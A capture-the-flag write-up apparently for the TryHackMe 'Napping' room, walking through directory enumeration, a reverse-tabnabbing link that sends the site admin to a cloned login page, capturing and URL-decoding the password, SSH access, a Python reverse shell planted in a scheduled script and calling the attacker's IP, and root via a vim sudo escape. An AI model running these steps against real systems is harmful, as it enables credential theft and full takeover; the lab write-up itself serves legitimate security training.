

Napping

Napping

<https://tryhackme.com/room/nappingis1337>

gobuster given'n to much results, I use dirsearch

```
dirsearch -u http://10.10.230.21
```

```
Target: http://10.10.230.21/

[15:15:33] Starting:
[15:15:38] 403 - 277B - /.ht_wsr.txt
[15:15:38] 403 - 277B - /.htaccess.orig
[15:15:38] 403 - 277B - /.htaccess.save
[15:15:38] 403 - 277B - /.htaccess.bak1
[15:15:38] 403 - 277B - /.htaccess.sample
[15:15:38] 403 - 277B - /.htaccess_sc
[15:15:38] 403 - 277B - /.htaccess_orig
[15:15:38] 403 - 277B - /.htaccess_extra
[15:15:38] 403 - 277B - /.htaccessBAK
[15:15:38] 403 - 277B - /.htaccessOLD
[15:15:38] 403 - 277B - /.htaccessOLD2
[15:15:38] 403 - 277B - /.htm
[15:15:38] 403 - 277B - /.html
[15:15:38] 403 - 277B - /.httr-oauth
[15:15:38] 403 - 277B - /.htpasswd
[15:15:38] 403 - 277B - /.htpasswd_test
[15:15:40] 403 - 277B - /.php
[15:15:49] 301 - 312B - /admin → http://10.10.230.21/admin/
[15:15:49] 403 - 277B - /admin?/login
[15:15:49] 403 - 277B - /admin/
[15:15:49] 403 - 277B - /admin/.htaccess
[15:15:50] 200 - 0B - /admin/config.php
[15:15:50] 200 - 1KB - /admin/login.php
[15:16:02] 200 - 1B - /config.php
[15:16:11] 200 - 1KB - /index.php
[15:16:11] 200 - 1KB - /index.php/login/
[15:16:14] 302 - 0B - /logout.php → index.php
[15:16:23] 200 - 2KB - /register.php
[15:16:25] 403 - 277B - /server-status/
[15:16:25] 403 - 277B - /server-status
```

create account on main page

ROMCHIK:123456

I can left links for admin

Hello, **ROMCHIK!** Welcome to our free blog promotions site.

Please submit your link so that we can get started.
All links will be reviewed by our admin who also built this site!

Blog Link:

Thank you for your submission, you have entered: [Here](#)

So start to create malicious link for admin

First I create page with javascript

```
~/THM/naaping > cat romchik.html
<!DOCTYPE html>
<html>
  <body>
    <script>
      window.opener.location = "http://10.11.28.126:9000/admin.html";
    </script>
  </body>
</html>
~/THM/naaping >
```

copy admin's login page and save as admin.html

view-source:http://10.10.230.21/admin/login.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <title>Login</title>
6   <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
7   <style>
8     body{ font: 14px sans-serif; }
9     .wrapper{ width: 360px; padding: 20px; }
10  </style>
11 </head>
12 <body>
13   <div class="wrapper">
14     <h2>Admin Login</h2>
15     <p>Please fill in your credentials to login.</p>
16
17     <form action="/admin/login.php" method="post">
18       <div class="form-group">
19         <label>Username</label>
20         <input type="text" name="username" class="form-control" value="">
21         <span class="invalid-feedback"></span>
22       </div>
23       <div class="form-group">
24         <label>Password</label>
25         <input type="password" name="password" class="form-control">
26         <span class="invalid-feedback"></span>
27       </div>
28       <div class="form-group">
29         <input type="submit" class="btn btn-primary" value="Login">
30       </div>
31     </form>
32   </div>
33 </body>
34 </html>
```

Start wireshark

| http | | | | | | |
|------|---------------|--------------|--------------|----------|--------|-------------------------------------|
| No. | Time | Source | Destination | Protocol | Length | Info |
| 74 | 199.586068557 | 10.11.28.126 | 10.10.230.21 | HTTP | 192 | HTTP/1.0 200 OK (text/html) |
| 81 | 690.776065723 | 10.11.28.126 | 10.10.230.21 | HTTP | 629 | POST /welcome.php HTTP/1.1 (applica |
| 83 | 690.870819337 | 10.10.230.21 | 10.11.28.126 | HTTP | 1154 | HTTP/1.1 200 OK (text/html) |
| 92 | 739.094366867 | 10.10.230.21 | 10.11.28.126 | HTTP | 290 | GET /admin.html HTTP/1.1 |
| 95 | 739.101008314 | 10.11.28.126 | 10.10.230.21 | HTTP | 1211 | HTTP/1.0 200 OK (text/html) |
| 103 | 798.811587216 | 10.10.230.21 | 10.11.28.126 | HTTP | 290 | GET /admin.html HTTP/1.1 |
| 106 | 798.812600250 | 10.11.28.126 | 10.10.230.21 | HTTP | 1211 | HTTP/1.0 200 OK (text/html) |

Open servers on port 9000 and 80

```
~/THM/napping > cat romchik.html
<!DOCTYPE html>
<html>
  <body>
    <script>
      window.opener.location = "http://10.11.28.126:9000/romchik.html";
    </script>
  </body>
</html>
~/THM/napping > python3-m http.server 9000
zsh: command not found: python3-m
~/THM/napping > python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
```

And send malicious link

Hello, **ROMCHIK!** Welcome to our free blog promotions site.

Please submit your link so that we can get started.
All links will be reviewed by our admin who also built this site!

Blog Link:

It is totally free!

And I have creds

14

| Time | Source | Destination |
|--------------|--------------|-------------|
| 1399.0661796 | 10.10.230.21 | 10.11.28.12 |
| 1399.0661888 | 10.11.28.126 | 10.10.230.2 |
| 1399.1518153 | 10.10.230.21 | 10.11.28.12 |
| 1399.1524814 | 10.10.230.21 | 10.11.28.12 |
| 1399.1524946 | 10.11.28.126 | 10.10.230.2 |
| 1399.1527326 | 10.11.28.126 | 10.10.230.2 |
| 1399.1528142 | 10.11.28.126 | 10.10.230.2 |
| 1399.1533911 | 10.10.230.21 | 10.11.28.12 |
| 1399.1534032 | 10.11.28.126 | 10.10.230.2 |
| 1399.2413556 | 10.10.230.21 | 10.11.28.12 |
| 1399.2414229 | 10.11.28.126 | 10.10.230.2 |
| 1399.2415578 | 10.10.230.21 | 10.11.28.12 |
| 1399.2415652 | 10.11.28.126 | 10.10.230.2 |

97 bytes on wire (776 bits), 97 bytes captured
data
Protocol Version 4, Src: 10.10.230.21, Dst: 10.11.28.126
Transmission Control Protocol, Src Port: 46806, Dst Port: 80
Sequence Number: 9000
Window Size: 65535
Bytes in sequence: 14
Sequence completeness: Complete, WITH_DATA (63)
Segment Len: 45
Sequence Number: 314 (relative sequence number)
Sequence Number (raw): 2935942686
Sequence Number: 359 (relative sequence number)
Segment Number: 1 (relative ack number)
Segment number (raw): 771051527

```

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
PHPSESSID: ytb82g7o0ot9y6bf1yi33szz
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

HTTP/1.0 501 Unsupported method ('POST')
Server: SimpleHTTP/0.6 Python/3.10.5
Date: Wed, 23 Aug 2023 15:59:03 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 497

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 501</p>
<p>Message: Unsupported method ('POST').</p>
<p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this
operation.</p>
</body>
</html>

```

After failed log in tries I go to cyberchief to see how can this password encoded. And find real password

Recipe

URL Decode

Input

C%4C

Output

C@ugl

10.10.230.21/admin/welcome.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome back daniel

Submitted Links:

Sign Out of Your Account

Password works on ssh also

```
ssh daniel@10.10.230.21
```

```
/THM/napping > ssh daniel@10.10.230.21
daniel@10.10.230.21's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed 23 Aug 2023 04:18:51 PM UTC

System load:  0.0               Processes:            128
Usage of /:   56.9% of 8.90GB    Users logged in:     0
Memory usage: 36%              IPv4 address for ens5: 10.10.230.21
Swap usage:   0%

0 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Mar 16 00:41:48 2022 from 10.0.2.26
daniel@napping:~$
```

The first thing - we have an interesting group (administrators)

```
daniel@napping:/home/adrian$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)
daniel@napping:/home/adrian$
```

we can modify file *query.py*, If carefully look at this code I know this code check server status code and write checking time ()

I modify script with revshell:

```

daniel@napping:/home/adrian$ cat query.py
from datetime import datetime
import requests
import os
import pty
import socket

s=socket.socket()
s.connect(("10.11.28.126",1234))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
daniel@napping:/home/adrian$

```

Set nc listener

```
nc -lnvp 1234
```

But I can run script, maybe this script run every minute or 5 minutes, because I have reverse shell

And now I can read the flag

```

~ > nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.11.28.126] from (UNKNOWN) [10.10.230.21] 46280
adrian@napping:~$ id
id
uid=1000(adrian) gid=1000(adrian) groups=1000(adrian),1002(administrators)
adrian@napping:~$ cat user.txt
cat user.txt
THM{Wh@T_1S_
adrian@napping:~$

```

Privillage escalation was very easy

```
sudo-l
```

```
sudo vim -c '!/bin/sh'
```

final flag in roots directory